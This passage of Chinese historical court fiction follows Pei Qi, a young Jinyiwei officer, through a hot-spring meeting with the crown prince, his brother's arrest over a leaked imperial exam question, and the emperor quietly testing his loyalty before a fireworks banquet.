然而裴期并不知道在这么短短的一段路程里,旁边的这侍卫心里已经反反复复纠结了无数次。 他只是听着门口的人先是往里面通报了一声, 有人过来说:“太子殿下说让您稍等片刻。” 然后裴期等了一会儿,又有人过来说: “太子殿下说让您先进去,他在温泉的那边等您。” 他第一次来太子的东宫便就在温泉处,因此现在也是驾轻就熟。 跟着带路的人过去。 只是这次带路的人并没有领他去先洗个澡,或许也是知道裴期为了救皇帝受了伤。 他们直接来到了温泉旁边,起初裴期只能看见蒙蒙的雾气,而后便闻见这温泉飘来的一些药材的香味,比上一次闻见的更浓了。 甚至有些呛鼻。 裴期微微皱眉。 不过一会儿,他便到了太子的面前。 只见太子胸口以下的位置全都泡在温泉里边,双手架在温泉的边上,双眼闭着,用一只手在给自己按揉着太阳穴,他表情烦闷,像是身体不适。 温泉的旁边还摆着一只残留着一些黑色药汁的碗。 裴期忽然开了窍, 只觉得自己在别人好不容易休息的时候过来一定是打扰了对方的,对方应该是想要穿戴整齐见面,却碍于身体情况又转而让自己过来。 他莫名感觉心口被揪了一下似的,下意识便说:“殿下,抱歉。” 太子睁开眼看他,方才还带着一些烦闷的脸上挂上一点儿笑意。 他能理解父皇为何非要和众臣子哪怕争执也要给裴期那么多的赏赐,不肯让步分毫了。 换作自己也会这样,裴期好像真有一番奇异。 只需一句话便能够让人心情舒畅。 幸好他是这样的性格,是这样的人,不然,或许能做成古往今来最大的奸佞。 李稷笑着问裴期:“抱歉什么?” 裴期老老实实回答:“殿下劳累了好些日子,这几日才终于有休息的时候,我还过来打扰您。” 李稷听得心里发笑,忍不住想逗一逗裴期,他挑了挑眉,故意说:“知道了还来?” 裴期抿着唇,看上去有些自责。 见状,李稷终于笑出了声,说:“孤没怪你,想让你来还来不及,又怎会嫌你?” 他又说:“说来,孤也应该抱歉,你生病这几日孤竟没时间去看望你,只能差人送了些东西过去。” 裴期这才神色好上了许多。 见他这样子,李稷心想,以后要少逗些裴期,像裴期这样的人,怕是自己说句什么话都要当真,要是哪天话说过了,惹了对方伤心,那便不好了。 然后他又问,“那裴卿此次过来,所为何事?” 听到这话,裴期把胸口里放着的那张写着题目的纸拿了出来。 他微微蹙眉,脸上的神情十分困惑。 “前几日,我的一位同僚说找了寺庙周围书肆中的一位卖书的人买到了这题目,可是这题目我早已看过,恰好是我弟弟裴建上次在府中做过答的,他说是五皇子请鸿胪寺的人送过来的。” “我总觉得这两件事之间有关联,可却想不出来会有什么关联。” 原来是这事。 李稷心下了然,这事他前几日便已注意到了,事关科举,他第一时间已遣派了人去查,现下手里倒也有不少证据与线索。 不过奇怪的是,这些人大张旗鼓,除了口头上说的一些话,并没有任何的遮掩,仿佛是故意引自己去调查一般。 “将那题目拿过来看看。” 他确认一下是否是自己正在查的那道题目。 裴期点点头便上前两步。 可就在这时,他不小心踩到了一块比较圆滑又湿润的石头。 若是在平时,他完全可以稳住自己的身形,只是现在他只要一用劲便感觉后背的伤口扯着疼。 他心里又想起外祖母说的,伤口裂开又要休养好一段时日的话,便下意识的收了力,试图用巧劲稳住。 只可惜他这一收力便站立不稳,整个人往温泉中滑落。 只是一瞬间,他便感觉自己的下半身已经浸泡到了温泉中,已经湿透。 就在这电光石火之间,一双手握住了他的腰,用劲把他的上半身托住,让他不至于整个跌落到温泉当中。 裴期低头一看,是太子不知何时从温泉中站起,伸出了手将自己托住,让自己不至于整个掉进温泉里。 紧接着,他感觉到太子发力的位置变换,一只手环住他的腰,另一只手托住他的膝弯,将他整个抱起,放到了温泉岸边。 李稷心中关切,眉头微皱,说:“脱衣服。” 裴期疑惑,“什么?” “看你背后的伤口有没有裂开,此事不能当作儿戏。”李稷神色微微严肃。 原来是因为这事,裴期虽然感觉自己并有什么不适的感觉,却也觉得查看一下背后的伤口没有坏处。 于是他顺从地,一寸一寸地半解开了上衣,他的上衣有一部分被溅湿, 然后他又将上衣褪到自己的臂弯处,稍微扭身,让李稷能够看清楚背后的那道伤口。 裴期的皮肤白皙,腰身柔韧,更显得背后那道结了痂的红色伤口更加狰狞。 李稷忽然有些自责,若是自一开始便处理了那匹马,便不会让对方受这样的伤。 只见他用旁边放着的干净布巾擦拭了一下自己的双手。 他不敢直接触碰那道痂,只是顺着结痂的走势,在周围没有受伤的皮肤上小心地、轻轻地按。 伤口正在愈合的时候,本就有时候会发痒,而现在被太子的手指摸着,更加难耐。 裴期忍不住微微瑟缩了一下,又怕唐突失礼,赶忙抿唇忍住,只是脸上还是不自觉地露出了一丝异样的神情。 李稷察觉到了他的反应,忙收回手,略带歉意地说:“可是弄疼裴卿了?” 裴期摇了摇头,“不疼。” 确认裴期的伤口既没有裂开,也没有被水沾湿之后,李稷才放心地替对方拉好了衣服。 然后他转头,又吩咐了人给裴期送一套干净的衣服过来。 这时,裴期好像是忽然想到了什么有意思的事,他笑了一下, “殿下,今日我去了寺庙,有人算命说我今日会有水劫。” 于是他现在便遭了水劫,下半身湿着坐在这儿了。 李稷也跟着笑:“看来这先生很准。” 接着,裴期又说, “那算命的又说,今日是使我遇到水劫之人便是我日后的‘正缘’。” 裴期与李稷对视。 “殿下说,是不是很有意思?” 裴期其实并没有把这话当真,只是当作一句趣闻,说给自己的好友听。 可他眼前的人并不这么想。 李稷眼睛微眯,看着裴期并无异样的神色,思考着对方是什么意思。 是只是单纯给自己分享一件趣闻,还是…… 其实,李稷自从当上储君开始就知道一件事,那就是若是病不在刚开始之时除掉,日后便会长成脓包,需要剜掉一块肉。 若是身边有异心的人不在对方最开始时便发现,然后除掉,到最后想要把对方清除,只会付出十倍甚至百倍的代价。 他心中其实有十个,百个办法,可以体面地试探出对方真实想法 。 可他一个都不想用。 裴期顶多只算是无名指的上一个可怜又可爱的小倒刺。 就算留在身边,又能怎样呢? 就算纵容了一些,又能怎样呢? 于是,李稷便放下了自己心中那些几乎是遇到这种情况便会下意识出现的谋划,猜测,猜忌。 他跟裴期说:“你跟孤说的这事其实大理寺这边早已经开始查了,只怕是与科举有关,恰好父皇安排了孤去从旁监考,孤想让你一起去看看,你想去吗?” 裴期听了,便不假思索地点了点头,“想去。” 耐着性子教 【“自天子至庶人, 一是皆以修身为本。” 请以修身之要,论为臣为民之道】* 自从看到那道考试的试题开始。 进入考试院的一个月,裴建都担惊受怕, 在夜里辗转难眠。 原因无他,正是因为这道题他曾经做过。 一字不差。 裴建其实很早便意识到了什么。 可他不敢说。 如果他说了,那么事情便再也没有回转的余地。 他立马会从前途无限的探花、翰林院编修,马上变成科举透题的阶下囚。 就算他说他不知情, 是被别人送来的题目, 也没人会信的, 不会有人信的。 于是他只能寄希望于这整件事情其实只是一个巧合。 他刚巧被选中进了考试院,又刚巧五皇子看他才华出众, 便给他送来道题目, 想要看看他的答案。 刚巧…… 可世上哪有那么多刚巧的事情? “裴建, 你这两日总是走神,心不在焉,究竟在想些什么?圣上让你来这里,可不是让你来这儿发呆的。” 胡子发白的内阁大学士看着他。 这些主要出题的考官们都比他先一步进入这考试院内,他来这儿主要是负责校核一些考试题目的。 听到这声音, 裴建才终于回过神来, 他低头一看, 写着题目的宣纸上被自己滴上了一滴巨大的墨点。 裴建惊慌失措极了,他连忙站起身来道歉, “抱歉, 是学生走神, 今日我会再抄一份出来的。” 内阁大学士有些不满地瞧他,终究也没说什么话,只是想到了什么, 从鼻子里出了一口气,然后说: “今日之内必须把这整套抄下来,离科考仅有半月,我们须得再整理一下考题。” 裴建忙不迭地点头应下,待内阁大学士转身离开,他才缓缓地坐回座位,望着那滴墨点,那墨点似乎已经化为一团巨大的沼泽要将它吸进去,不得脱身。 他深知自己陷入了一个阴谋泥沼之中,可却无力挣脱。 没人会信他,没人会信他。 他的手微微颤抖着拿起笔,想要继续抄写题目,却发现思绪如乱麻。 那曾经写过的试题文章不断在脑海中盘旋,他心烦意乱。 裴建努力深吸一口气,试图让自己镇定下来。 没事的,一定没事,一定只是个巧合。 就算,就算最终被定为是科举舞弊,难道五皇子和鸿胪寺就真有那么大胆? 想到这里他的心情倒也平静了许多,他开始心平气和地抄写着试题。 莫名的,试题越是写到后面,他便心情越是平静,他觉得既然自己都在这里待了这么久了,若要东窗事发也早该发生了,怎么会让自己还等到现在? 裴建一边抄写一边这样自我安慰着。 可就在他还剩几个字就要抄写完之时,门外忽然传来破门声,一阵急促的脚步声,还有人大声吵嚷声。 他心中猛地一揪,手中的笔差点掉落。 还会等他回过神来,他所在的这房间已经被人破门而入。 他仔细一看,破门而入的这群人个个穿着飞鱼服,头戴黑纱帽,腰间别了一把绣春刀。 裴建顿时脸色煞白,双腿一软,差点瘫倒在地。他认得这身装扮,这是锦衣卫,他的那位大哥便就在这里当差。 其实自从裴期被赏了衣服了之后,裴建特意去打听了一番,方才得知这飞鱼服并不是普通锦衣卫便可以穿上的。 一般由皇上赏赐下来,或者是到了一定的品级便可以穿了,如今这气势汹汹来到这里的一堆人仔细望去竟是没有一个品级低的。 至少是百户以上。 裴建虽然心里已经猜测到了和这考试题目有关,可他却依旧要问一句: “各位前来是为了何事?考试院内,不准随意近旁人。” 为首的锦衣卫则是冷笑一声。 这里没人回答他的话,有的只是上来了两个凶神恶煞的锦衣卫将他拿住,双手折到背后。 裴建只觉双臂被大力扭住,一阵剧痛袭来,他终于慌了,挣扎着呼喊:“你们凭什么抓我,我是翰林院编修,是上届科举的探花,你们没有确凿证据不能如此行事!” 然而,为首的锦衣卫听到了这句话,忽然像听到了什么好笑的事情一样,他转过身来,脸上并没有什么表情,语气里却能听得出来嘲弄,“且不说我们手里已有你的字迹与答案作为证据,就算是没证据,就不能抓吗?” 好霸道的话。 裴建脸色煞白,这才终于对锦衣卫这三个字有了实感。 只是之前他见到的锦衣卫都是裴期,或是裴期朋友那样的,因此对着所有人都闻之色变的锦衣卫也没什么惧怕的心思。 现如今他便真的感到了恐惧,他被锦衣卫粗暴地押解着,出了他自己的房间,一路引来众人侧目。 他刚及冠就考上探花,所有人都知道像他这样的,只要在翰林院中熬几年资历便可官运亨通。 可如今他却在所有人的面前被锦衣卫拖着,这种巨大的落差让他几乎无法承受。 裴建甚至看到了那位内阁大学士看向自己的眼神都在冒火。 如果这次的考题作废,那么他们几个主考官便需在极短的时间内再凑出一道题出来。 这道题必须在以往从未有出过,又更要合乎当下的实情,还要兼顾圣上是否满意。 他们后面几天怕是要头发胡子一把一把地掉。 裴建就这样忍受着众人的目光,被锦衣卫一下子就拽到了考试院的门口,考试院的门口有辆马车 后面的锦衣卫推搡了他一下,说,“快,上去,自己上去。” 那马车的后车厢味道难闻,散发着一股令人心里发颤的血腥味。 如果仔细看,甚至还能从车厢的木板接缝处看到几处血污。 裴建一下子便站在了原地。 后面的人见他这样也只是冷笑, “裴大人是搞错了什么?因看着您才刚不久得了圣上钦点,又顾着别人的面子才让您坐这个马车的,否则您大可以步行,看看您是否能跟上我们骑马的速度。” 是进入这个脏臭的车厢内,还是让所有的百姓都看着他在长街上被马拖着跑? 裴建很快便做出了自己的答案,他头一低,身子一缩,便钻进了马车的后厢中。 后车厢也坐了几个锦衣卫用来盯着他,防止他在半路上逃跑。 这个马车可没有软垫用来缓冲,更没有做窗户,让人可以欣赏窗外的景色。 昏昏暗暗的环境当中,裴建只能看见盯着自己的锦衣卫腰间那刀柄银白的绣春刀。 裴建蜷缩在昏暗且散发着血腥味的马车后厢里,身体随着马车的颠簸而摇晃。他的双手仍被紧紧缚着,勒得手腕生疼,却也无暇顾及。 马车外,马蹄声哒哒作响,不过一会儿马车便猛地停了下来,看样子好像是已经到了锦衣卫司。 裴建被押着去了诏狱。 踏过一层又一层,往地下延伸的低矮的台阶。 穿过这一道长长的、昏暗的、狭小的走廊。 腐臭阴冷的气息扑面而来,墙壁上闪烁着一点微弱的烛火,并不足以照亮整个诏狱,却能让来到这里的人清清楚楚地看见墙上挂着的各种用来折磨人的刑具。 裴建本以为接下来迎接自己的便是各种惨无人道的逼供,他下定了决心,即使面对那些逼供,自己也一定要恪守本心,绝不屈服。 可现实是,他被带到一间狭小的牢房前,锦衣卫打开牢门,将他用力推了进去。 他一个踉跄摔倒在满是污秽的地面上,他挣扎着抬起头,看到四周灰暗的墙壁和那扇紧闭的牢门。 这个牢房十分狭小,整个人不能完全地躺着或是站立。 甚至连半坐着,都不能把腰完全直起来。 他只能蜷着在里边儿,等着锦衣卫的下一步动作。 这间牢房的动静惊动了裴建对面早已被关押进来的一位犯人,那位犯人蓬头垢面,满身污渍,一张脸几乎已经看不出原来的模样。 原本也是蜷缩着打盹。 听到动静对方醒来之后立马开始破口大骂锦衣卫都是鹰犬走狗,一群上不得台面的东西,一群只会冤枉人的玩意儿。 值得一提的是,就算是骂人,其中也并不乏引经据典的。 一看便是饱读经书的。 裴建心脏狂跳,只觉得这人便是自己以后的下场。 而这里的锦衣卫却跟习以为常一般并不理会这里的声响,反而有几个锦衣卫在外边儿支了个小桌子,桌子上放着一些烧鸡和烧刀子之类的。 “真倒霉,今日居然轮到我们当差看这诏狱。”一个锦衣卫在那边吃边抱怨。 “比之前不错,这次起码还有时间备上一些好酒,好菜。”另外一个锦衣卫回他。 “还不是因为我们这里新得了一位千户,带着剩余的人手都去考场那边布置了,我们俩也是倒霉才被分到这儿了。” “那位裴大人也是有些神异在身上的,只是才刚当差了这么几天便成了皇上的救命恩人,这么年轻,这么快便成了千户,古往今来,这是第一个吧。” 他们一边互相给对方倒酒,一边抱怨着诏狱的环境太差,扰的他们的心情都不好了,一边又讨论着裴期的事情。 裴建愣了一下。 救命恩人? 千户? 裴大人? 没当差几天……是裴期? 他提前进入了考试院当中,虽然有所耳闻秋猎的事情,却也并不知道对方就能顺势立下这样大的功劳。 不,不可能。 裴建的心里好像有几百只蚊蝇叮咬一样。 他干涩着喉咙,颤抖着问。 “劳……劳驾,二位所说的那位裴大人是谁?” 两位锦衣卫第一次在诏狱里听到了同那些骂他们走狗鹰犬的话不一样的,因此也格外注意了些。 他们回头一看,发现竟然是刚提进来的裴建。 这时有一位锦衣卫像发现了什么似的,站起身来,几步走到了裴建的牢房门口。 最后又蹲着仔细看了几眼裴建。 终于好像想起了什么似的,招呼着旁边的同伴一起来看,“诶,快来看,千户百户他们今日抓进来的这位好像是裴大人的……弟弟!” 听到弟弟两个字,裴建心中绷着的那根弦终于还是断了。 另外一位锦衣卫走过来,也蹲下看,他笑了一声,“还真是。” 随即这位锦衣卫伸出手去抓住裴建的头发,让他往后仰,“只是虽说是同一个父亲的兄弟,可长得一点也不像呢,裴大人那张脸,连皇上见了都喜欢。” 他们之所以敢这样肆无忌惮,便是知道本朝皇帝抓科举特别严格,一旦有人与科举舞弊有了联系,便以后再也不得翻身。 而裴建本人,则此刻沉浸在了巨大的羞耻当中。 他原本以为裴期会永远在他的后面,赶不上他,可如今攻守势异,他竟然连呼吸都有些不畅了。 见他这样,那两位锦衣卫也没了兴致,啧了一声,又回去了。 —— 而另一头,裴期去了太子那儿之后,又在家里休息了几天,直到背上的伤口已经有部分的结痂开始脱落之时才又去办事。 奇怪的是,他与母亲已经在忠勇侯府住了这么久,裴建也去了考试院。 祖父那边几乎是一个人都没有了,但直到现在也没有听说裴府送来什么消息让二人回去。 裴期也并不纠结这些,只觉得既然对方并没有捎信过来,那便是自己一人也可以过活,并不需要其他人。 于是他便专注到了自己的差事上,譬如考场中巡查的人手布置。 科举考场的巡逻一般有专门负责巡逻的巡逻官,与锦衣卫配合着一起在考场中防止考生舞弊或是有其他意外的情况出现。 巡绰官一般由朝廷当中的武将担任。 从前,担任巡绰官的武将并不需要有多高的官职,往往只要身体素质稍微出众一些,可以负担得起九天六夜的倒班巡逻便可。 可这次情况稍有不同,在科考还未开始之前便闹出了那么大的题目泄露的证据,这次参与巡逻的人员必须更加谨小慎微才行。 于是,一些职位官级比较高的武将便被派来担任了巡绰官。 于是裴期就遇到了个熟人。 “严表兄。”裴期挥了挥手。 严振听到声音,回过头来,看到是裴期,眼中闪过惊喜, “前些日子我听说你受伤,而后又升了千户,只是我一直忙,没来得及恭喜你,便只是派遣了人送了点东西去忠勇侯府,听说你如今已是炙手可热了。” 他语气里带着些揶揄。 裴期笑了笑,“我还未感谢表兄教我骑射,若不是表兄教我骑射也不会有这些。” 严振闻言,只觉得这表弟是认识对了人,如今正是春风得意的时候,居然还能惦记这点儿恩情。 于是他也笑着说,“其实只是几天而已,只是你实在天赋高,学得快,你应感谢自己。” “只是这次又要表兄教我,考场如何派下巡逻人手了。”裴期并没有你来我往的继续客套一番。 严振听了这话,愈发觉得这位表弟做人做事都十分坦然,敞亮,他倒也愿意倾囊相授, “倒也不难,今日你先在这儿逛一逛,熟悉一下地形,明日我便把往年的人手如何布置的图带过来给你,你看一眼应该就能明白。” 他想了想,又说:“这次巡逻需要较往年多增派一些人手,还要与往年有所不同,让心怀不轨之人无可乘之机,因此,看完之后还是得细细布置一番,若你实在是拿不准,便拿来给我看。” 裴期点点头,“那多谢表兄。” 随后,严振说自己在军营中还有些急事没有交代便离开。 裴期便和太子一起巡视整个考场。 这是每次开考前的必要程序。 为了防止有人提前进来,将小抄放在固定的地方,往往巡逻的人员都要提前一段时间分毫不差地将考场内的每一寸都搜查过,确保这里不会有任何作弊的可能性。 科举考场也叫作“贡院”。 贡院坐北朝南,有大门,二门,龙门这几道门,还有多处建筑,院墙高大,四周有外棘墙、内棘墙、砖墙三重围墙,四角设有瞭望楼用于监督,以防止作弊。 这里面有监考官,休息,居住的地方也有试卷刻印,密封的地方。 考生考试的地方称作号舍,号舍按《千字文》排布,可以容纳九千多人,面积狭小,里面放置两块号板,白天作为桌椅,晚上拼接成床。 号舍无门,考生遇风雨需自行护卷,号板底下可放恭桶解决小便,每十号成一排,每排号舍末尾才设有一个厕所。 考生进贡院时要经唱名、搜检、领卷等极严的手续,考试期间会锁院贡试,考生每人一间考棚、一盆炭火、一支蜡烛,以点香计时。 而监考这方面,一般来说是派足了人手,一对一的监考,只是有时候需要换班,便增设了一些巡查。 裴期与太子巡视完整个考场,确认各个号舍都没有漏雨,年久失修的情况,这才终于得了空。 李稷笑着,“以往的负责的人都没有你这般的,他们只管这里没有小抄便好,至于号舍是否漏雨漏风,并不是他们该管的事了。” 确实,如果裴期像以往的负责的那些人一般,便不必忙活这么久,现在应该早已经回到了忠勇侯府中享用休息、晚饭了。 可裴期总觉得,自己只是付出了一下午的时间,带着人仔细地查看一下,而那些前来考试的考生便不知道付出了多少年才有了考试的资格。 有些家境贫寒的,又不知道要付出多少钱才能从家乡赶到上京。 若只是因为这些号舍的原因便没有中榜,未免显得太过儿戏了些,考试选拔的应是人的才华与毅力,并不是这些有的没的。 于是裴期说:“只是检查一下并不费力,而那些举子为了到这儿费的力才多。” 李稷微微点了点头,有些赞赏,“确实应该这样。” 随后他又好像想起什么似的,问“此次科举泄题,裴卿有什么想法?” 说实话,裴期并没有什么见解,只是内心里觉得疑惑, “殿下,如果是科举泄题,那么未免也太大张旗鼓了些,随便一个人便可以从街头巷尾买到题目和答案。” “没错。”李稷又继续问,“那裴卿可知道为何此人如此大张旗鼓?” 裴期思索了一下,然后诚实地摇了摇头,“殿下,我不知。” 李稷勾唇,耐着性子教, “此处涉及党派之争,若是一方想借某人的手去解决另一方,便会特意把证据捧到这人的眼前来,唯恐证据不显眼,不刻意。” 裴期听了,若有所思地点了点头。 帝王心(修,建议重看) 这几日, 裴期都忙得脚不沾地。 刚被提拔了千户,便被派了这样的重任,裴期并不想搞砸。 于是他太子宫中、考场、严振那里的三边跑, 力求将此事做到没有一点儿纰漏才好。 直至离考试只有了小几日的时候,他才算是把所有的东西都忙完。 这时,钱苗的父亲在上京新开的酒楼,也趁着这科举举行准备开业, 蹭蹭东风。 届时上京里少不了要宴请同学或师长。 于是钱苗一想, 不如就把锦衣卫司的相熟的兄弟们聚在一起, 在自己爹新开的酒楼吃顿饭。 他爹之前老说他只会交一些狐朋狗友,如今他可是认识一个锦衣卫千户一个举人呢。 且二人都前途无量, 一个说不准靠着皇上恩宠以后能到什么地位, 另一个则在此次科举中说不定便能取得名次。 这一文一武的, 看看自己老爹还敢说啥。 只是可惜杨明与裴期,如今一个是举子,一个是巡考官,暂时该是避嫌一些。 不若便等着杨明考试结束之后再请他。 裴期没有推辞,原因却是钱苗父亲新开的酒楼开业时, 跟这里的百姓们许诺。 开业当晚会放烟花, 若是去得早, 还可以在最适宜的位置的地方欣赏。 放烟花的匠人是他花了大价钱,从浙江一带请过来的, 听说与北边的这些烟花都不一样。 裴期来这里这么久了, 还从未见过一次烟花。 更何况是钱苗父亲所说的, 专门从南方请的匠人放的烟花呢。 他本想也叫上自己的外祖父,外祖母与母亲一起看看,可他们听了之后便笑着摆摆手。 说裴期与朋友聚着, 他们再去打扰便显得不美,裴期他们也不能尽兴了。 况且二老的年纪上来,要早睡,也受不得惊吓。 裴期听了,觉得有道理,便只好作罢。 可就在他将考场贡院这边的事情处理完毕,准备前去赴宴的时候却被人叫住。 一个太监模样的人带着群侍卫拦住了他,说皇帝在考试院那边儿等他。 裴期听了便立即应下。 虽然他想早点去赴那个烟花宴,可他也知道皇上现在差了人如此急匆匆的叫住自己,定然是有些要事要说的。 他随着太监匆匆行至考试院。 不知道是不是他的错觉,他觉得身边的侍卫们一路上死死地盯着自己,仿佛怕自己做出什么不好的事一般。 现在离科举没有几天了,因此,考试院只有一条通道进入,其他通道都被严加看管。 此时,裴期这个外人进来,各个主考官的房间更是封地严严实实,只剩几双眼睛透过窗户静静地盯着。 毕竟他们几个从考试前的前三个月便一直被关在这儿,直到考完了之后把卷给批完才能出来。 如今能看见一个长得还算不错的新鲜人已经算是难得的放松时刻了。 踏入考试院内的一个房间,只见皇帝在房间的中央坐着,他的上半身隐入头顶投下来的一点儿阴影里。 他面前摆着一张檀木的桌子,身旁跟着几个近身侍从,气氛略显肃穆。 裴期趋步向前,行礼道:“臣裴期参见陛下。” 皇帝微垂眸,目光在他身上停留片刻,说道:“裴卿请起,身上的伤可好了些?” 裴期如实回答:“回陛下,臣身上的伤已经好了大半,府里的大夫说再过上半月便可大好了。” “那便好。”皇帝说,“你上前来一步。” 裴期听话往前走了一步。 这时他才注意到皇上面前的桌子上摆着三张扣着的空白宣纸。 至于为什么说是扣着,则是因为裴期能通过纸的背面的痕迹看出来,这纸张上面一定是写了东西,只是现在把没有写东西的那一面向上放着。 皇帝看着裴期,缓缓开口:“裴卿,你可知道这是什么?” 裴期摇了摇头。 “你想知道吗?”这时皇帝的身体前倾,他的眼里带着探究,将这三张纸推到了离裴期较近的地方。 裴期想了想,说:“若是陛下想给我看,那我便想知道,若是陛下不想给我看,那我便不想知道。” 皇帝听了这话,笑出声来。 气氛也终于才缓和不少。 他说:“这上面是三份考题,朕觉得都很有意思,只是现在始终不能选一份出来作为后几日的考题,今日便要抄写印刷九千份,必须要在今日内抉择。” 听到这里,裴期更加疑惑,他现在就连练字也尚且才是开始的阶段,又怎么能替皇帝、替天下的学子去选择一份考卷呢。 他心里想什么便说什么, “陛下,臣只怕不能胜任。” 他很清楚自己的短板在哪儿,读书并不是自己的长处。 “臣读过的书恐怕还没有来这里参加科举的学子一半的书多。” 皇帝欣赏他的坦然,笑着说:“朕并不想让你凭着自己的学识选一份,而是想让你凭着感觉选。” 他又补充道:“朕觉得这三份题目都可作为考卷,只是现下选不出来罢了,你现在在这三份中指一份即可。” 裴期垂首,他心里也没想些什么,只是皇帝让他靠感觉选一份,他便真的靠感觉选一份。 只见他上前一步,迅速选了中间一份。 “陛下,我选这个。”裴期说。 皇帝并没想到他会选得这么快,以为他至少会仔细端详一番。 因此一时间竟然没反应过来,直到裴期把手放了回去,皇帝才回过神来。 皇帝抬眼,仔细看着裴期的神色,只见他微微挑眉,伸出手去一把将那份题目翻了过来。 因此裴期此时便能完全看清楚这道题目。 其中有一些经义注释之类的小题。 最后则是一道: 【“大学之道,在明明德,在亲 民,在止于至善。”请据此作八股文一篇,阐述其义理。】* 裴期眉头微皱,他知道科举的题目在考试开始之前是绝对不能外泄的。 皇帝笑着说,“裴卿,朕信你。” 听到这话,裴期心里感觉怪怪的,却又不知道怪异在哪儿。 实在想不出怪异在哪儿,于是他索性便不想了,回答道:“陛下放心,臣定然不会外泄。” 他话说完,皇帝便挥了挥手,示意他可以离开。 直到侍卫传来裴期已经离开的消息,皇帝才终于彻底冷下脸来。 他早已收到消息,裴期的弟弟涉嫌科举泄题,已被收押进诏狱,科举的题目已经被泄露地漫天都是。 值得一提的是,这些题目竟都还附赠一个答案范例。 正好与裴建的笔迹一模一样。 既然弟弟都已经大张旗鼓的把答案写了出来,那么哥哥会毫不知情吗? 他知道这件事情闹得如此大张旗鼓,随便是谁都能轻易查到线索,是因为有人想借他的手除掉别人。 可他却并不能真的放着这些线索不管。 在这件事情的处理上,若是他稍有纰漏便会动摇科举的根本,让人觉得科举是可以在朝天的眼皮子底下作弊的。 一来二去,若是地方也争相效仿,届时该成什么样子? 皇帝看着桌面上的三道题目,指节略有些急促地敲击着桌面,不知道在想些什么。 这时旁边有考试院的考官上前来问,“陛下,是否就选择这套作为考卷?” “不。”皇帝掀起眼皮,斜睨了一下旁边的考官。 考官一瞬间有些瑟缩。 他将裴期选中的那套考卷放在手中撕碎,又从另外两张扣着的试卷中拿了一套出来。 “用这套。” ———— 裴期又被一群侍卫盯着离开了考试院,刚出了考试院的时候他恰好遇见了太子。 太子也见他在这里,并没有意外。 毕竟父皇也知道这件事情与裴建有很大的关系。 父皇向来不是会因为个人感情影响公事的人,就算是再喜欢,再宠爱的臣子,若是怀疑,也要试探一番。 裴期见到太子,便也打了声招呼, “殿下。”他说。 李稷明知故问,“裴卿,你在这里做什么?” 裴期并不擅长撒谎。 因此,他想了一个又一个的借口,才说:“只是来这里看看。” 李稷自然也知道对方现在的状态,他在心里暗暗笑着,并不拆穿对方。 本来他问一下这个问题,只是想让裴期知道,自己也并不知道对方此刻出现在这儿是什么原因,让对方好放心些。 为了缓解裴期的尴尬,他又问:“那你现在从这儿离开,可是要去到哪儿?若是回家的话,孤这里便有一辆马车可以送你。” 裴期眨了眨眼睛才察觉方才那让自己尴尬的话题似乎已经过去。 这时他又想起自己一开始是要去干什么的。 看烟花。 “殿下,有朋友邀请,让我去看看他家专门请来的匠人放的烟花,顺便在他家新开的酒楼中宴聚。” 说完他又想起来太子殿下其实也算是自己的好友,于是他又不假思索地邀请道: “殿下要一同前去吗?我听闻他父亲请来的匠人放的烟花十分巧妙,是北方从未有过的样子。” “不了。”李稷婉拒,他又跟裴期说:“若是朋友请客,便不合适带另外的、所有人都不认识的朋友前去。” 裴期神色有些懵懂。 然后才终于意识到了自己的做法似乎有些不妥。 是钱苗邀请大家在自己父亲的酒楼一起聚一聚的,并不是他们几人约好了各出几份钱在某个地方拼桌吃。 自己忽然带一个大家都没那么熟的人出现,是有点儿扫大家的兴。 于是他点点头,非常认真地谢过太子,“多谢殿下提点,我记住了。” 李稷看着裴期,他不知道怎么形容自己现在的感觉,他小时候在书上便读到过这四个字, 叫“好为人师。” 意思是指还没等别人请教,便滔滔不绝的想要教别人点儿什么,发表自己的意见。 他记得自己极小的时候,在初学这个词之时,便心中想象出了一个讨人厌的、喜欢说教的人的形象。 自己现在这样的行为,起码在小时候的自己眼中,是令人厌恶的。 可对方非但没有任何抵触的情绪,还认认真真地听着他说的。 李稷禁不住笑了一下。 “裴卿,今日要玩地尽兴。” ———— 裴期与太子别过,骑上了赤月马,独自朝着钱苗家酒楼行去。 不知为何自从学会了骑马之后,他无论去哪儿便更喜欢骑马,而不是马车。 若不是前些日子身上有伤,到哪儿去都只能坐垫了软垫的马车,他便骑马去庙会了。 此刻他才终于明白为什么尽管外祖母看的那么严,外祖父也要悄悄的,趁外祖母注意不到的时候出去策马一番。 原来是真的会上瘾。 此刻他翻身上马穿着身合身的飞鱼服又系着披风。 “驾。” 他稍微一扯动缰绳,赤月便向前飞驰起来。 他纵马驰骋,风吹在他的身上,让他的披风扬起鼓鼓作响。 他特意绕了远路走,只是稍微靠近了上京的中心的时候便让赤月的速度慢了下来。 原因无他,上京上京的这个部分街道繁华,人口比较密集,有很多行人、摊贩。 为了京城的秩序稳定和百姓的安全,官府会对骑马的速度、路线进行了限制,到了裴期现在所在的这个部分时,骑马的速度便要稍稍慢些才行,否则被在这儿巡逻的人看到了,势必要处罚一番。 不过一会儿他便到了钱苗家的酒楼门口。 钱苗显然已经是在这里等候多时了,见到裴期过来他直接自己跑过来,帮裴期把马栓到了酒楼的后面,他自己的地方。 他的后面跟着位身材有些圆润,憨态可掬的中年人。 只见钱苗介绍道:“裴期,这就是我的父亲。” 裴期倒是有印象,上次自己受伤,躺在床上刚刚才醒的时候,钱苗变说是听了父亲的话,搬了一大堆的补品,要“巴结”自己。 钱苗父亲送来的那些东西,裴期后来都叫对方拿回去了。 所以说只是朋友之间的玩笑,可他也并不能收下。 钱苗的父亲倒是一位圆滑,又极有眼力见的,因此见到裴期的一瞬间,他便迎上来,眯起眼睛来,笑得见牙不见眼的模样,简直与钱苗一模一样, “这位就是裴千户,裴大人吧,如此年轻便有如此大的成就,真是年少有为,年少有为啊。” 裴期回:“伯父不必如此。” 这时旁边跑过来一个店小二模样的人,在钱苗的父亲耳边耳语了几句,他便神色带了些抱歉与为难地说: “裴千户,恕我招待不周,只是今日是酒楼新开业实在实物繁杂,这样,我来做主,往您的桌上送一坛多年的女儿红,您也好尽兴一番。” 裴期原本打算开口拒绝,却被钱苗拉住了胳膊, “不许推,你不喝我还想喝呢,我可好不容易才从老爹嘴里撬出来一坛子好酒。” 裴期这才说了个好字。 随后钱苗就把裴期带着,穿过楼梯与走廊到了酒楼三楼的一雅间内。 一推开门,便看见雅间的外面有一扇大窗户,视野开阔,一下子就能想象的出来,届时烟火燃起时的壮观场面。 这里应当就是看烟火时的最佳位置。 